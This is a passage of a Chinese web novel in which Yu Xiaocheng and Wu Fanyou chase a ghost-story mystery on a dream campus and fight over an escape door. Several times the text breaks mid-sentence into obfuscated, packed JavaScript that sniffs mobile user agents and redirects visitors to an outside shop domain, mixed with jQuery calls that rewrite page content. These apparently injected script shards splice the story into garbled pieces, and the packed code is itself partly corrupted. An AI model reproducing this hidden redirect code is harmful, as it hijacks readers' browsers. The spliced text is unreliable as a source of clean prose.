l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655838|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定自己开门与白羽楠团聚也不错,就是到地府做个伴,也好过自己一个人带着恨意和悔意,挣扎在这个全员恶人的世界。 说起来,吴樊祐又干嘛要阻拦自己呢? 吴樊祐不就盼着她在梦境中因为违规而被处决吗? 连他自己都承认了…… 从生理到心理的疲惫感,让俞小澄在胡思乱想中逐渐坠入沉睡。 之后,没有再发生灵异事件,四人也安稳睡到了天亮。 当俞小澄睁开眼时,招财已经坐在了她面前,脸上带着得意的笑,说自己已经找到那只耳环,正等待俞小澄的夸奖。 俞小澄笑着摸了摸招财的头,趁着其他人还在睡懒觉,轻手轻脚下了床,简单洗漱一番,便跟在招财身后出了门,顺利拿到那只遗失的耳环后,下楼交给了宿管阿姨。 宿管阿姨十分开心地将两枚金币递到了俞小澄的手上。 俞小澄收好金币,又趁着宿管阿姨心情好,赶紧打听道:“老师,学生会副会长陶然是不是也住在西苑啊?” 宿管阿姨十分热情地回答:“对呀,那孩子,脑子聪明,长得又帅,说话还甜。” 俞小澄顺着她的话继续问:“有不少女孩子喜欢他吧?” “肯定的呀,如果不是他已经交到女朋友了,我都想把我女儿介绍给他喃!”宿管阿姨脸上泛着止不住的笑意。 “那你有见过其他女生来找陶然吗?” “以前有女生来找他表白嘞,不过后来他追到学生会长了,这些人也就死心了嘛。” “老师你还记得那些来表白的女生吗?” 宿管阿姨直摇头:“这我哪儿记得住呀!” “哦……那没事了,你忙你的。”俞小澄说着笑了笑,转身往楼上走去。 俞小澄从昨天就在想,所有怪谈都是在梁复乐和陶然交往后开始兴起,或许恶灵所针对的正是这对情侣。 至于为何要针对他们,俞小澄首先想到的就是这三人的关系。 有没有一种可能,罗覃其实也喜欢陶然,所以在陶然与自己最好的朋友交往后,她心里变得扭曲,导致所有怪谈成真,借此让二人无法总是待在一起? 正是有这样的考量,她才会想找人求证,可惜,追求陶然的人似乎多了一点,很难能让人留下深刻印象。 另外还有一种可能,罗覃纯暗恋,那便无从考证了。 一路思索,俞小澄再次回到房间时,女教师和纹身男已经起了床,看见她从外面回来,皆是一脸诧异地问她去了哪里。 “哦,我去找宿管老师还钥匙。”俞小澄若无其事地回答。 女教师惊呼道:“啊?你就给还了?我刚想到可以趁白天去帮忙找耳环哩。” 俞小澄冷淡地说:“不用了,我已经找到并还给宿管老师了。” 纹身男一愣:“什么时候的事?” 俞小澄胡诌道:“就昨晚女鬼走后,我睡不着,所以出去瞎溜达,顺便就把耳环找到了。” 女教师狐疑地打量着俞小澄,嘴里嘀咕道:“你还真是积极……” 俞小澄没有理会这两个人,她踩着爬梯站到了吴樊祐的床边,打算将人叫醒。 只见床上的人尚在熟睡中,脸上留着一道道清晰的抓痕。 163. 梦境(六) 俞小澄这时候才想起昨晚那一场闹剧,起床时觉得浑身酸痛,可见昨晚拼尽全力,拿出了杀人的气势。 此刻看着受害者,心中隐隐生出一丝愧疚与同情。 但这样的心情只持续了片刻,她在心中安慰自己:俞小澄啊俞小澄,别忘了一切都是这家伙咎由自取,如果不是他,小白也不至于…… 越想越生气,方才那一丝愧疚与同情全被愤怒挤压得面目全非,她下意识地伸手掐住了吴樊祐的脸,稍稍用力,便将人从睡梦中唤醒。 吴樊祐一脸茫然地盯着用暴力方式叫醒自己的人,缓了许久,才终于清醒过来,然后揉了揉脸,满脸委屈:“怎么昨晚的气还没撒够吗?” 俞小澄只是冷眼注视,没有给予回应,随后话锋一转,催促道:“赶紧起床,别啰嗦。” “哦……”吴樊祐垂头丧气地应了一声。 一行人收拾完毕后,便离开了西苑宿舍,他们先去了食堂,简单解决了早饭问题。 女教师和纹身男打算再去学生会办公室,找到梁复乐等人继续了解一下关于其他怪谈的细节,但俞小澄和吴樊祐并不同意。 “要不分头行动?”纹身男提议。 俞小澄想了想,这个时间点唯一危险的是图书馆,但女教师和纹身男对此已有防备心,所以不用太过担心,于是便同意了纹身男的提议,四人约定好,傍晚时分在吟晖湖碰面。 女教师本不赞成分开行动,奈何意见不统一,僵持下去也不会有进展,而且她对俞小澄二人有些怀疑,遂同意暂时分开。 等女教师和纹身男离开后,吴樊祐问:“你不怕他们撞上罗覃,时间又跳到晚上?” 俞小澄摇了摇头:“我猜,罗覃讨厌的是你,昨晚跳到晚上,应该也是想给你教训。” “呵,好吧……就结果而言,的确有被教训到。”吴樊祐挠了挠脸,苦笑着说。 听吴樊祐这么说,俞小澄也觉得有些奇怪。 说起来,罗覃想要教训的应该是得罪她的吴樊祐才对,可为何宿舍女鬼最后的目标会是俞小澄呢? 对此暂且保持疑问,俞小澄打算先去第五教学楼转转,看看有没有新的金币任务。 走在路上,吴樊祐有意无意地问:“学姐,真不先找记忆之门?” “那两人都不急,你急什么?”俞小澄有些不耐烦地反问。 “那两人不急,是因为他们对穷途旅店一无所知……” “别急,我只是觉得现在去找记忆之门的钥匙,极有可能又会被罗覃快进到晚上,得先找到引开罗覃的办法才行。” “也就是说,学姐已经知道钥匙在哪儿了?” “只是猜测而已,你觉得罗覃最在乎的是什么?” “她的面子。” “……” 俞小澄一时不知他是在跟自己装傻,还是对感情真这么迟钝,无奈地叹了口气,耐着性子继续解释:“你不觉得罗覃挺不喜欢梁复乐和陶然在一起吗?” “有吗?我看她挺喜欢当电灯泡啊。”吴樊祐答得有些随性。 俞小澄微微张着嘴,一时不知该说什么好,甚至开始怀疑是不是自己太过疑神疑鬼,将一些明明不存在的东西都幻想出来了。 “你不觉得罗覃可能喜欢陶然?”俞小澄的声音变得没那么坚定,小声地试探道。 吴樊祐扬起嘴角,对俞小澄的猜想表示惊奇:“你怎么会这么想?女人的第六感吗?我看罗覃表现得十分厌烦陶然,满眼的轻视和鄙夷,你喜欢一个人会表现出这种情绪吗?” “……”俞小澄顿住脚步,表情凝固,嘴上说着罗覃,心里想的却是自己,“万一她只是害怕被人知道而已呢?” 吴樊祐随她停下脚步,一脸笃定地说:“我跟你打赌,罗覃绝对不喜欢陶然。” 俞小澄问:“你凭什么这么肯定?” 吴樊祐拍着胸脯,自信满满:“我看人很少出错,罗覃不止不喜欢陶然,还很厌恶陶然。” 面对吴樊祐大言不惭的话,俞小澄当即送上一声冷笑以示不屑,随后她不禁细细琢磨起来。 如果吴樊祐当真会看人,难道早就知道她的心思了吗? 倘若知道她的心思,却始终视而不见,那岂不与他口中所谓的喜欢冲突了吗? 这是否意味着,吴樊祐说喜欢她,仅仅是奸计未能得逞时摇尾乞怜的手段? 一番思索后,俞小澄怒目切齿骂了声:“无耻!” “啊?”吴樊祐茫然无措,眼神慌乱,似乎不知道自己说错了什么话。 俞小澄轻咳一声,缓解因冲动带来的尴尬,随即带着挑衅的味道问:“你这么会看人,那你能看出我是喜欢你,还是厌恶你呢?” 吴樊祐的脸上,前一刻还万里晴空,此刻一声惊雷响,阴云瞬间笼罩。 “厌恶……”吴樊祐的声音弱得跟没吃饭一样,话音未落就撇下俞小澄,阴沉着脸往前走去。 俞小澄的第一反应是吴樊祐看人并不准,可随后又意识到自己这个想法很危险,她现在的确应该是厌恶,可这样一想,又得承认吴樊祐看人准。 内心复杂到乱成一团,俞小澄快步追上吴樊祐,没忍住继续追问:“你、你说的是现在还是以前?” 吴樊祐回头看了她一眼,眼神中的情绪有些低落,犹豫片刻才回道:“我能看懂别人,却唯独看不懂学姐,不管是以前,还是现在。” 感受到一丝微妙的触动,俞小澄躲开吴樊祐的视线,讥笑道:“现在叠甲已经晚了吧,就这么嘴硬,不肯承认自己看人不准吗?” 吴樊祐故作轻松地笑了笑,反问道:“所以我猜错了吗?” “当……” 俞小澄下意识地想要回答“当然”,一个字刚脱口而出,立刻就反应过来,如果她现在说吴樊祐猜错了,相当于变相说自己喜欢他,瞬间惊出一身冷汗。 “当——然没错!”俞小澄话音一转,迅速化解了这场危机,可惜如此一来,就变成认可吴樊祐会看人。 似乎一不小心将路走窄了,俞小澄心中不甘,预感下一秒就要看到吴樊祐耀武扬威的得意相了。 谁知她并没有等到吴樊祐的自鸣得意,只听见吴樊祐颓丧地叹了口气,仿佛对话题丧失了兴趣,懒洋洋地说:“既然没错,那你也不用在陶然身上白费力气,探探其他对罗覃来说重要的东西吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665559|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 俞小澄快步超过吴樊祐,冷冷扔下一句:“没错是没错,但我不信你。” “……”吴樊祐无奈地摇了摇头,看着头也不回的背影,高声问道,“要不要打个赌?” 俞小澄心道:这家伙又想挖坑给我跳么? 虽有疑虑,但她没有一口否决,而是转头问道:“你想怎么赌?” 吴樊祐露出一副鱼儿上钩的微妙表情,快步追上俞小澄,道:“我可以替学姐试一试陶然,不就一目了然了吗?” 俞小澄眯眼抬头凝视着吴樊祐的眼睛,嘴角勾出一个细微的弧度,嘲讽道:“你的算盘珠子已经蹦到我脸上来了!呵呵,我看起来很傻吗?让你去试,给你碰触记忆之门的机会吗?可以啊,吴樊祐,脑筋转得挺快啊。” “还在这儿防我一手呐?”吴樊祐哭笑不得。 “当然,谁知道你还干得出什么卑鄙的事呢?不得不防啊,我这也是一朝被蛇咬十年怕井绳嘛。”俞小澄尽情冷嘲热讽道,丝毫不愿留一点情面。 对面却并没有为此置气,摸着下巴想了想,语气平淡地说:“那让学姐放心的人试吧,如果当真是钥匙,学姐让我干什么都行,可若是门没有出现,学姐就答应我一件事,可好?” “想让我放你走,那可不行。” “我保证不逃跑,与是否离开旅店也无关系。” “我怎么总觉得闻到一股阴谋的气味?” “哎,学姐对我的话是半点都不肯信……学姐不是还想让我当免费劳动力吗?用人不疑,疑人不用。” “行吧,反正你敢提出不要脸的要求,我也敢不要脸地撕毁协议。” 最终俞小澄还是妥协,她倒有些好奇,吴樊祐这厮还能翻出什么样的水花。 其实要避开罗覃接近陶然很容易,只要晚上去西苑男生宿舍,便能轻松找到落单的陶然,到时候再试也不迟。 于是他们先到了第五教学楼,在里面搜寻一番,运气还算不错,找了两三个来教室看书的学生,并从他们口中打听到关于教学楼怪谈的细节。 据传闻所言,曾经有学生受不了学业压力,从第五教学楼天台一跃而下,死后阴魂不散,每到半夜,就会在第五教学楼内徘徊,重复着死前的举动。 而601室恰好就在那人跳楼的天台下,如果晚上在这间教室停留,就会反复看到一个男人从窗口坠落。 如果你不小心看了三遍,那第四遍时,你就会发现自己出现在窗外,成了坠楼男子的替死鬼,从此不得不被困在第五教学楼里,继续重复再现男人赴死这一幕。 最早有此传言,不过是众人口中的笑谈,没人真正见过冤魂跳楼的场面。 大家都觉得,这不过是校方为了防止学生长时间停留在教学楼里,错过闭馆时间,出现被误锁在教学楼里的情况,才故意编出这种怪谈故事。 自从有这吓人的传说后,被锁教学楼的事鲜有发生。 可大约半年前,陆续出现了目击诡异事件的证言,这怪谈便被坐实了。 在询问中,俞小澄又成功接到了一个金币任务,有个女学生想看看跳楼者是谁,委托她录一段跳楼现场的视频。 164. 梦境(六) 俞小澄简直想骂人,这些NPC是妥妥地哪里危险便将玩家往哪里硬指派。 不管是想要图书馆连通地府证据的王骏,还是巡楼一定要遗落耳环的宿管阿姨,再加上这个对跳楼冤魂身份充满好奇的女学生,全都像是恶灵的帮凶。 “有没有一种可能,视频录不出鬼魂的模样呢?”俞小澄强忍着怒气,笑得咬牙切齿。 女学生将相机硬塞到俞小澄手里,十分肯定地说:“可以拍到的,相信我,我可是灵异社团的社员。我老早就打算以此作课题研究,可惜大家都怕有危险,没人肯帮忙,一直拖到了今天。” “你干嘛不自己拍?”吴樊祐反问。 女学生理直气壮地回道:“我也怕有危险啊,听说不小心看到三遍,就会成为替死鬼。” 俞小澄嘴角抽搐:“我们难道就不会有危险吗?” 女学生笑嘻嘻地说:“老师们不是打算调查怪谈真相吗?这不是顺便的事嘛!老师们注意别看三遍就行。” 丝毫没有被安慰到,俞小澄看着手里的相机,再想想金币报酬,咬牙道:“这个危险性挺高,得加钱。” 女学生豪爽地回答:“行!事成后,我付老师三枚金币!我平时就在学生活动中心的灵异社,老师们到那里找我就好。” 听到活动中心四个字,俞小澄眼前一亮,趁机问道:“对了,最早撞上跳楼冤魂的是你们那学生会长吗?” “咦?这事儿老师也知道?我都问了好多人才知晓这个消息,其实撞鬼的是陶然学长,梁学姐说她当时并未看到。哎,本来以前还常能在第五教学楼偶遇梁学姐和陶学长,自打那事以后,就见不到两人一同出现了。” 女学生絮絮叨叨讲起来。 “嗯?不一同出现?他们还会分开来这儿?”俞小澄觉得这句话怪怪的。 女学生点点头:“对啊,陶学长算是受惊过度,从此看到第五教学楼都要绕道,自习当然是去别的教学楼。但梁学姐喜欢这边清静,所以常来,每次出现都是跟其他人来的,我们私下里还传她跟男朋友分手了喃!” “嚯?梁复乐一般跟谁来这里?”吴樊祐露出一脸八卦相。 “不认识,应该是学姐的朋友吧,长得挺乖巧的女生,就是不怎么爱说话,叫什么来着?不太记得了。”女学生托着下巴,一边回忆一边回答。 “应该是罗覃吧。”俞小澄对吴樊祐说。 吴樊祐点了点头还没说话,一旁的女学生尖声叫道:“啊对,是这个名字,梁学姐的小跟班,以前经常跟在梁学姐和陶学长身边当电灯泡。” 俞小澄问:“你听说过罗覃喜欢什么人吗?” 女学生说:“这个谁知道啊,那女生就算喜欢谁,也没人关心吧,兴许老师该去问梁学姐,她们总形影不离,说不定那女生会告诉梁学姐。不过,老师干嘛关心这个问题?” 俞小澄胡诌道:“呵呵,学校关心每一位同学。” “呃……甚至私生活吗……”女学生小声嘀咕了一句,随后口风一转道,“如果老师想问罗覃的事,我倒认识个人,那女生以前跟她同寝,后来申请调换房间,刚好跟我同住。” 算是意外收获,女学生说的这个人叫刘燕,跟罗覃同寝过一年,后来似乎闹了点矛盾,刘燕便申请了调换宿舍。 恰好,这人暑假也留在学校中,女学生一通电话便将这人叫来了第五教学楼,省去俞小澄找人的麻烦。 刘燕来到第五教学楼时,显得很拘谨,突然被老师叫过来,还以为出了什么大事,一脸惴惴不安的模样,直到听俞小澄问起罗覃这个人,她才松了一口气。 俞小澄简直不知道那不靠谱的女学生在电话里究竟是如何交代的,此时也没法质问,因为那女学生约好刘燕来第五教学楼后,就借口社团还有事要忙,趁机逃离了被老师盘问的现场。 此刻被“审问”的人换成了刘燕,俞小澄仔细打听起罗覃的消息。 “罗覃又惹事了吗?”刘燕冷不丁地问了一句。 “她以前惹过什么事吗?”俞小澄不解地反问。 提起罗覃,刘燕的表情有些莫名的不悦,肉眼可见二人之间曾产生过矛盾。 刘燕有些不耐烦地回答:“就她那阴沉的个性,闹出什么事我都不会觉得奇怪。” 据刘燕回忆,罗覃这个人不太合群,整日沉迷在自己的小世界里,有时会给人一种瞧不起身边人的傲慢感,所以同寝的女生并不喜欢与她相处。 罗覃似乎只跟梁复乐关系不错,时常跟在梁复乐左右,也只对梁复乐不会露出瞧不起人的傲慢感。 梁复乐比她高一届,家境好,成绩好,长得漂亮,为人还热心肠,很难让人不喜欢,但刘燕她们私下觉得,罗覃接近梁复乐带着目的性。 俞小澄诧异道:“什么目的?” 刘燕冷笑道:“还能是什么,人脉呗,跟有背景的人玩,今后毕业,说不定路会走得顺畅许多。” “难道就不能是志同道合,真心相待吗?”俞小澄忍不住反驳。 刘燕顿时翻起了白眼,道:“哎,老师,你还是把罗覃这个人想得太简单了,当初梁复乐学姐与陶然学长走到一起,正常人都在祝福,只有这个罗覃,明显不对劲。” 俞小澄感觉嗅到了一股八卦的味道,忍不住凑近了些,问:“哪里不对劲?” 对于梁复乐和陶然交往,罗覃并不高兴,虽然在梁复乐和陶然面前并不表现,但独自在宿舍中时,心情难免会失控。 刘燕就恰巧目睹过一次罗覃在宿舍中发疯,不过只要发现有人出现,她就会强行隐藏自己的情绪,这也就是刘燕眼中的不简单。 自那以后,刘燕就像抓到了罗覃的小辫子,时常忍不住故意捉弄,当罗覃在场时,有事没事就赞叹一番梁复乐和陶然有多般配,次数多了,罗覃终于在一次刺激中爆发了。 刘燕被罗覃薅着头发打了一顿,两人闹得很僵,因为打架斗殴都被学校处罚了。后来刘燕和另外两个朋友索性一起申请了调换宿舍,为了孤立罗覃,也为了避开这个情绪不稳定的家伙。 “罗覃为什么不满意梁复乐和陶然交往呢?”俞小澄问。 刘燕眼神中透着讥讽:“哼,嫉妒吧,一个哪里都比自己好的人,还抢了自己喜欢的男生,很难高兴得起来吧?” 俞小澄抬眼与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672677|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴樊祐对视了一眼,眼神中仿佛在说:看见了吧,还说你自己会看人? 吴樊祐无奈地耸了耸肩,问刘燕:“你怎么知道罗覃喜欢陶然?” 刘燕偷笑道:“以前我无意间看见罗覃手里有一封情书,跟宝贝似的,不见送出,也不见毁去,仔细联想一下之前她的态度,不难猜测。” “哦,原来是你的臆想啊。”吴樊祐说这话时,看的人却是俞小澄。 俞小澄知道他那略带挑衅的眼神中想要表达的意思,似乎并不愿意就此盖棺定论,当然她也不会因为刘燕的一句话就不去做验证。 不过刘燕的这些话,倒是给她提供了一种思路,也许找到那封情书,一切就明了了。 于是俞小澄又问道:“罗覃住哪儿?” “东苑女生宿舍404。”刘燕答道。 该询问的问完后,刘燕便离开了第五教学楼。 俞小澄和吴樊祐去了那间闹鬼的601室探寻一番,白日里这间教室并无异常,完全看不出有闹鬼的迹象。 时间尚早,俞小澄打算先去东苑女生宿舍看看,如果罗覃不在,或许可以趁机在宿舍找找刘燕所说的那封情书。 可惜,当俞小澄和吴樊祐抵达东苑女生宿舍时一问,才知罗覃和梁复乐今日还没离开宿舍,一下打乱了俞小澄的计划。 吴樊祐问:“这下怎么办?不如找个地方睡一觉,一觉睡到晚上,再去第五教学楼完成拍摄任务?” 俞小澄沉思片刻,嘴角不由得上扬,道:“这两人既然留在宿舍,那就说明有一个人落单了!” “陶然?” “对。” 说话间,俞小澄已经派出招财去寻找陶然的踪迹,不消一会儿,招财回来汇报,只道那陶然正在游泳馆内,而女教师和纹身男也正好在那里。 带着好奇,俞小澄和吴樊祐赶到游泳馆,然后便看见女教师和纹身男,一人拿了一根捞鱼网沿着泳池边一路打捞,而陶然一个人站在远处观望,丝毫不打算靠近,也没有帮忙的意愿。 俞小澄一脸疑惑地先走到了陶然身旁,一问之下才知,女教师和纹身男到学生会询问情况,恰逢同学上门委托学生会帮忙,需要到泳池寻找遗失的手串。 女教师和纹身男听说有谢礼,提出帮忙,于是陶然便将这件差事转交到了女教师和纹身男手里。 要不是意识到这是金币任务,俞小澄都想骂这学生会副会长狡猾了,自己不想做的工作,就直接扭头交到别人手上。 问清情况后,俞小澄也不跟陶然多客套,直接一把握住了陶然的手。 阳光透过玻璃窗照进室内,留下一地柔和的光影,空旷的游泳馆场地内,只闻捞鱼网搅动发出的水声,此时站在光影中的三人,目光全都汇聚到两人相握的手上。 握手的动作停顿了几秒,预想的事并没有发生,俞小澄面露尴尬,而陶然一脸诧异。 “这是?” 陶然有些不知所措,抗拒地将手抽离。 这动作更让俞小澄尴尬不已,只好假笑两声,努力在脑海中搜寻着说辞,然后陡然给陶然鞠了一躬,一本正经地说:“副会长辛苦了!” 165. 梦境(六) 一套操作下来,似乎让自己莫名其妙的握手看上去稍微合理了一丢丢,也缓解了俞小澄的尴尬,然后发泄不甘一般偷偷瞪了吴樊祐一眼。 “哦,没有的事,老师客气了,都是学生会应该做的。”陶然不好意思地挠了挠头。 吴樊祐噗哧笑道:“学姐,你要谢不得谢正在捞鱼的那两个人?” 俞小澄送上一记肘击,然后强颜欢笑地向陶然询问:“罗覃这个人你怎么看?” 陶然愕然,有些不太理解俞小澄为何这么问,但又不好驳老师面子,便客气回答:“罗覃是乐乐的朋友,我们其实算不上太熟。” 俞小澄继续追问:“你们之间有矛盾吗?或者说,你以前得罪过她吗?” “怎么可能!”陶然连声否认,“乐乐的朋友,我肯定不敢得罪啊。” “这就奇怪了……”俞小澄喃喃自语。 俞小澄和吴樊祐跟陶然道别后,便向池边“捞鱼”那两人走去,路上吴樊祐一脸得意:“如何?打赌算我赢了吧?” 俞小澄此刻只思考着自己究竟哪里想错了,对于吴樊祐的得意炫耀,轻描淡写地回了个“嗯”,甚至懒得搭理,也没问他赢了又想怎样。 吴樊祐也不急,替她分析道:“也可能,罗覃只是单纯不喜欢朋友被人夺走呢?” 俞小澄道:“怕朋友有了男友后冷落自己吗?可梁复乐跟她在一起的时间,不比男友还长么?” “不是被怪谈破坏了约会的气氛,小情侣在一起的时间才减少的吗?” 被吴樊祐这么一提醒,俞小澄猛然意识到自己走入了误区,先入为主地认为罗覃看不惯梁复乐和陶然交往,是因为暗恋陶然,却忽略了她可能只是单纯不想让梁复乐和陶然在一起。 至于阻止朋友交往的原因,要么认为陶然不好,要么害怕与朋友疏离。 “有可能,对罗覃来说,重要的人是梁复乐,不是陶然。”俞小澄恍然大悟。 吴樊祐思索着,表示赞同:“嗯,听上去更靠谱些,所以学姐下一个实验目标是梁复乐吗?” 俞小澄毫不犹豫地摇了摇头:“不,我更在意那封情书。” 如果陶然不是罗覃的暗恋对象,那又为何存在未送出的情书这种说法喃? 难道是刘燕看错了? 可惜,此时罗覃还留在宿舍,她没办法强行到宿舍里搜索。 不过好在她也有帮手,就算她没有下手的机会,让招财潜入房中确认是否有情书的存在,这还是能够轻松做到的事。 方才急于找落单的陶然验证自己的猜想,竟没有想到这个招数。 俞小澄简单与招财交代了一番后,招财便兴冲冲地往东苑女生宿舍飞去。 回过头,女教师和纹身男还在兢兢业业进行着打捞作业。 俞小澄难得良心发现,决定这两枚金币就不同他们二人抢了,不过她也不打算让进宝帮忙,毕竟暴露实力并不是明智的选择。 俞小澄和吴樊祐坐在场馆边缘的座椅上,一边悠闲地看着泳池边劳作的身影,一边耐心等待着招财带回消息。 接近午时,招财回到俞小澄面前,沾沾自喜地说自己成功在罗覃的衣柜角落里发现了那封情书,不过坏消息是罗覃和梁复乐就在房间里。 此时泳池边传来一阵欢心雀跃的叫声,只见女教师举着一串手串手舞足蹈的模样。 俞小澄心中有了个计划,转头对吴樊祐说:“你去让陶然把梁复乐约去学生活动中心,我们溜去东苑宿舍。” 吴樊祐与她对视一眼,仿佛读出了她的想法,没有多问便站起身往陶然那边走去,而俞小澄此刻径直转身去到了女教师和纹身男面前。 当吴樊祐花言巧语说服陶然约梁复乐到学生活动中心时,俞小澄已经带着女教师和纹身男候在了游泳馆出口。 “嗯?”吴樊祐看着那两个要一同随行的人,脸上露出一丝不解,“他们也去?” 俞小澄一副无所谓的态度,道:“罗覃大概率会跟到学生活动中心,不把这两个人带上,我怕惹出事端。” 女教师和纹身男沉默地跟在俞小澄二人身后,视线紧锁在二人身上,似乎有许多疑问,但并没有问出声。 再次抵达东苑女生宿舍楼,俞小澄让招财确认了罗覃已经离开宿舍,便借着老师的身份进入其中,并以调查校园怪谈为由,顺利打开了404房间大门。 进入房中,同样是四张上床下桌的组合床摆设其中,虽说房中装饰看上去比西苑那边更加温馨,但有人气的只有一张床铺,其余三张床铺明显无人住。 这反倒省去不少麻烦,俞小澄都不需要招财指路,便顺利找到了藏着情书的衣柜,就在床下书桌旁。 衣柜上了锁,但显然拦不住闯进来的人,吴樊祐毫不客气将其破坏,一顿翻找,从衣服角落里翻出了那封书信。 俞小澄凑近一步,只见信封空白,吴樊祐拆开信封拿出信纸后,映入眼帘的首行称呼写着“乐乐学姐”四个字,再往下看去,这封信以“对不起”作为开场。 与俞小澄设想的不一样,这并不是一封情书,而是写给梁复乐的道歉信。 然而,不等他们继续往下看去,吴樊祐手中的信纸仿佛被风剪成了碎片,纷纷逃离束缚,在房中自由旋转飞舞,宣泄着信件主人的忧伤。 细小的碎纸兜兜转转一圈,最终在屋内中央汇集,拼凑出一扇七彩纸糊的房门。 女教师和纹身男皆是一脸震惊,对于突然出现的纸门,浑然不知怎么回事。 俞小澄迅速作出反应,一把挽住吴樊祐的胳膊,将人拖着远离记忆之门。 吴樊祐似乎没料到这封信会是记忆之门的钥匙,被眼前突发情况惊得一愣,可被俞小澄拽着后退几步后,他回过神来,转头冲俞小澄笑了笑,眼睛里带上些心意已决的味道。 那眼神看得俞小澄心头莫名慌乱,下一秒,吴樊祐反手扣住俞小澄的手腕,从俞小澄的控制下抽身。 俞小澄预料到他想逃,又连忙去抱吴樊祐的腰,势要将人拖住。 谁知对方根本没有逃跑的打算,见她靠近,顺势一只手臂托住她的腰,一只手臂穿过腘窝,将俞小澄打横抱了起来,径直向记忆之门迈步。 俞小澄忽然意识到吴樊祐的目的,想要再挣脱已经晚了,于是高声呼喊:“快走!” 她这一嗓子把吴樊祐喊得一头雾水,脚下稍微停滞,纹身男已经展开双臂拦到了他面前。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683238|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女教师此刻扭头冲向了纸门,吴樊祐见状暗骂一声,脸上的表情阴沉至极,抱着俞小澄就撞开了拦路的人。 可俞小澄伸手拉住了纹身男的手,使得吴樊祐一时被拖着无法前进,就是这耽搁的片刻,女教师已经推开了纸门,她回头看了一眼纠缠的三人,似乎下定了决心,一挥手,冲进了黑暗中。 一瞬间,女教师的身影随纸门消失在房间里。 不等相互拉扯的三人开始争执,房门猛然被踹开,罗覃正站在门外,双眼泛着红光,如同野兽出笼,试图撕碎所有猎物。 俞小澄被吓得心跳漏了一拍,焦急地唤进宝。 她本想着直接让进宝附身吞噬掉恶灵,而进宝也读懂了她的想法,可进宝飞到她眼前晃了晃,然后一脸委屈地说道:“姐姐,进宝附身不上!” 这消息如平地一道惊雷,还偏偏砸在了她脑袋上,炸得她整个人都傻了。 完了…… 内心已经放弃抵抗,正想着看三选一谁会倒霉,谁知眼前被黑暗笼罩。 下一秒,俞小澄感觉到一阵失重感,身体无法控制地向下坠落,很快,这种失重感在冰冷的包裹与挤压下,被溺水的窒息感与惊恐所取代。 就在五感恢复正常的瞬间,出于求生的本能,俞小澄的手脚在水中扑腾,艰难浮水而出,大口呼吸着新鲜的空气。 窗外的月光朦胧,带着窗框的轮廓映在水面上,俞小澄终于看清自己身在何处。 天色已晚,原本在东苑宿舍楼中拉扯不休的三人全部落进了泳池里,此时破水而出,缓缓往池边游去。 恶灵又一次发动了时间技能,他们被传送到日落后的游泳馆,而这个时候正是所谓怪谈发生的时间段,也就意味着落水的他们很可能已经触犯禁忌,随时都会有生命危险。 俞小澄游到岸边,先她一步上岸的吴樊祐向她伸出手来,她只是冷冷瞥了一眼,然后恶狠狠地回了一个字:“滚!” 这家伙的话果然不可信,还好她在出发前留了一手,趁吴樊祐去找陶然之时,悄悄说服了女教师和纹身男充当最后的防线。 至于这二人怎么会同意帮忙,仅仅因为俞小澄撒了点小慌,将吴樊祐塑造成了企图操控所有人的大恶人。 吴樊祐是多周目存活者,而她是上一场游戏唯一从吴樊祐毒手逃脱的人,一直受着吴樊祐的威胁,无法向新玩家说出实情。 他们即将去找离开这场游戏的道具,如果运气好,离开游戏的大门便会出现,届时吴樊祐一定会想逃,每场游戏的逃生门只容一人通过,所以绝不能让吴樊祐逃跑。 与女教师和纹身男商议的结果是让女教师先走,而俞小澄和纹身男负责拖住吴樊祐这个大魔头。 事情的发展的确跟俞小澄预想的差不了多少,那封信就是钥匙,从听招财说罗覃将信锁在衣柜里,她就产生一丝怀疑。 她唯独没有想到的是吴樊祐竟打算将她推入记忆之门。 无视了吴樊祐伸向她的手,俞小澄满腹怨气,一次次的信任换来的是接二连三的背叛,叫她如何还敢抓住这只手? 一边生着闷气,一边往岸上爬,可身体还未离开水面,俞小澄忽觉脚踝一紧,一股力道将她重新拽回了水中。 166. 梦境(六) 招财进宝反应速度极快,在俞小澄手脱离池边的一刹那,迅速抓住了她的手腕,两人卯足劲试图将人捞起来,可惜,他二人的力气比不过水里的那股力道,俞小澄被扯着脚往水里沉去。 还好已经上岸的纹身男发现不对劲,在俞小澄脑袋被水淹没的瞬间,俯身一把抓住了她在空中乱舞的手,并将人使劲拉往岸边。 